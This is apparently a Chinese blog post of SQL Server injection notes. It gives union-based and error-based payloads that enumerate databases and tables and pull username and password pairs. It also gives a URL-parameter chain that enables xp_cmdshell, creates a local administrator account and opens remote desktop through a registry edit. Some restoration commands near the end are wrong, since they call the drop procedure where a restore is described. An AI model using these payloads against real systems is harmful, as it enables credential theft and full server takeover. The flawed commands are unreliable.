SQLsever注入

2 篇文章 0 订阅
2 篇文章 0 订阅

SQLsever注入

一、系统库
1.master:控制SQL server的所有方面,该数据库中包含所有的配置信息、用户登录信息等等
2.model:建立所有数据的的模板,默认没有数据表
3.tempdb:供所有来访问SQL server的用户使用,这个库用来保存所有的临时表、存储过程和其他SQL server建立的临时用的东西;每次SQL server重新启动,他都会清空tempdb数据库并重建,默认没有数据表
4.msdb:所有的任务调度、报警、操作员都存储在该数据库中,该库的另一个功能是用来存储所有备份历史

二、SQLsever基础
1.注释符号
单行注释:–
多行注释:/**/
2.常用函数
@@version:数据库版本
db_name():当前数据库名
user:当前书库据的所有者,dbo是每个数据库的默认用户,即databaseower
suser_name():当前登陆数据库的真实用户
substr():按要求截取字符串
ascii():查询指定字符串的acsii码
len():查看指定字符串的长度
count():返回要铲鲟数据的数量

三、手工注入
1.联合查询
判断注入点
order by n 查看字段数量
union select NULL,NULL,NULL; 判断显示位
select count(name) from sys.sysdatabases; 查询数据库数量
select top 1 name from sys.sysdatabases; 查询第一个数据库名字
select top 1 name from sys.sysdatabases where name !=‘master’; 查询第二个数据库名字
select top 1 name from sys.sysdatabases where name !=‘master’ and name !=’’ and name !=’’ …; 依次类推查询其他数据库名
select count(name) from sysobjects where xtype =‘u’; 查询表的数量
select top 1 name from sysobjects where xtype =‘u’; 查询第一个表单名字
select top 1 name from sysobjects where xtype =‘u’ and name !=‘users’ and name !=’’ …; 依次类推查询其他的表名
select count(name) from sys.syscloumns where id = OBJECT_ID(‘users’); 查询字段数量
select top 1 name from sys.syscolumns where id = OBJECT_ID(‘users’); 查询第一个字段名
select top 1 name from sys.syscolumns where id = OBJECT_ID(‘users’) and name !=‘id’ and name !=’**’; 依次查询其他的字段名
select count(username+’~’+password) from users; 查看当前数据库数量
select top 1 username+‘~’+password from users where id =‘1’; 查询第一条数据
select top 1 usename+‘~’+password from users where id =‘1’ and usernam !=’
’ and usersname !=’*’ 依次类推查询其他数据
或者先查用户在查密码
select count(name) from test.sys.sysobjects where xtype = ‘u’; 对其他数据库的表进行查询
2.报错查询(联合查询依次查询每一条数据的方式报错也能用,报错注入不能查询数量)
判断注入点
and 1=convert(int,db_name);查询当前数据库
and 1=covert(int,(select name from sys.sysdatabases));查询当所有数据库
and 1=convert(int,(select top 1 name from sys.sysdatabases));查询第一个数据库名
and 1=convert(int,(select top 1 name from sysobjects where xtype=‘u’));查询第一个数据表的名称
and 1=convert(int,(select top 1 name from sys.syscolumns where ID=OBJECT_ID(‘users’)));查询第一个字段名
and 1=convert(int,(select top 1 username+’~’+password from users)) 查询第一条数据

四、SQLsever权限问题
1.固定的角色服务器
sysadmin:可以在 SQL Server 中执行任何活动
serveradmin:可以设置服务器范围的配置选项,关闭服务器
setupadmin:setupadmin: 可以管理链接服务器和启动过程,并执行某些系统存储过程(sp_serveroption)
securityadmin:可以管理登录和CREATE、DATABASE权限,还可以读取错误日志和更改密码
processadmin:processadmin :可以管理在 SQL Server 实例中运行的进程
dbcreator :可以创建、更改和除去数据库。
diskadmin:可以管理磁盘文件
bulkadmin :可以执行 BULK INSERT 语句
2.固定数据库的角色
db_owner :在数据库中有全部权限
db_accessadmin :可以添加或删除用户 ID
db_securityadmin :可以管理全部权限、对象所有权、角色和角色成员资格
db_ddladmin:可以发出ALL DDL,但不能发出GRANT、REVOKE或DENY语句
db_backupoperator :可以发出 DBCC、CHECKPOINT 和 BACKUP 语句
db_datareader:可以选择数据库内任何用户表中的所有数据
db_datawriter:可以更改数据库内任何用户表中的所有数据
db_denydatareader :不能选择数据库内任何用户表中的任何数据
db_denydatawriter:不能更改数据库内任何用户表中的任何数据
3.攻击常用的扩展模块
xp_cmdshell:利用此存储过程可以直接执行系统命令
xp_regread:利用此存储过程可以进行注册表读取
xp_regwrit:利用此存储过程可以写入注册表
xp_dirtre:利用此存储过程可以进行列目录操作
xp_enumds:利用此存储过程可以进行ODBC连接
xp_loginconfig:利用此存储过程可以配置服务器安全模式信息
xp_makecab:利用此存储过程可以创建压缩卷
xp_ntsec_enumdomains:利用此存储过程可以查看domain信息
xp_terminate_jroces :利用此存储过程可以查看终端进程,给出一个进程PID
4.利用SQLsever(xp_cmdshell)扩展储存过程获取getshell
?id=1;use master;切换到master数据库
?id=1;exec sp_configure ‘show advanced options’,1;reconfigure; 开启高级功能重载配置文件
?id=1;exec sp_configure ‘xp_cmdshell’,1;reconfigure; 开启cmd_expshell功能并且重载配置文件
?id=1;exec master…xp_cmdshell “net user huokai 123.com /add”; 创建用户
?id=1;exec master…xp_cmdshell “net localgroup Administrators huokai /add”; 将用户移入到管理员组
?id=1;exec master…xp_cmdshell ‘REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f’; 开启3389端口
7.使用mstsc(远程桌面)进行远程连接
5.关闭开启此功能
关闭
exec sp_configure ‘xp_cmdshell’,0; 关闭高级功能重载配置文件
reconfigure;
exec sp_configure ‘show advanced options’,0; 关闭cmd_expshell功能并且重载配置文件
reconfigure;
开启
use master;
exec sp_configure ‘show advanced options’,1;开启高级功能重载配置文件
reconfigure;
exec sp_configure ‘xp_cmdshell’,1; 开启cmd_expshell功能并且重载配置文件
reconfigure;
6.检测与恢复扩展储存
提交如下查询进行检测,可查看xp_cmdshell扩展存储过程是否被删除。
and 1=(Select count(*) FROM master. dbo.sysobjects Where name = ‘xp_cmdshell’)
如果扩展存储被删除,可执行如下查询进行恢复。
;exec sp_dropextendedproc ‘xp_cmdshell‘
上面这条查询语句,是在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询。
;exec sp_dropextendedproc ‘xp_cmdshell’,'xplog70.dll’
该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell,如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。例如,执行如下查询语句。
;exec sp_dropextendedproc ‘xp_cmdshell’,‘c:\xplog70.dll’

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值